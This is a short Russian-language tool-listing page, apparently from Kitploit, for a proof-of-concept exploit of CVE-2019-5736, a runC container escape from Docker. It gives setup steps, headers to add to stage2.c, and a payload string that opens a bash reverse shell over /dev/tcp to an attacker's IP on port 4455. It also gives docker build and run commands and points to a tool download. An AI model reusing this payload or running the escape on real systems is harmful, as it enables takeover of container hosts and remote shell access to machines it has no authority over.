cve-2019-5736-poc — Эксплуатирующий PoC для CVE-2019-5736, демонстрирующий побег из контейнера Docker через уязвимость runC с внедрением полезной нагрузки reverse shell. | Kitploit

Заголовки, которые нужно добавить (stage2.c)

bash #include <string.h>

bash #include <unistd.h>

Изменить IP атакующего ПК (stage2.c)

bash const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/<공격 PC IP>/4455 0>&1 &\n";

Создание Docker образа и контейнера

$ docker build -t cve .
$ docker run -t -d --name cvetest cve
$ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

Скачать инструмент

cve-2019-5736-poc

Популярное

Заголовки, которые нужно добавить (stage2.c)

Изменить IP атакующего ПК (stage2.c)

Создание Docker образа и контейнера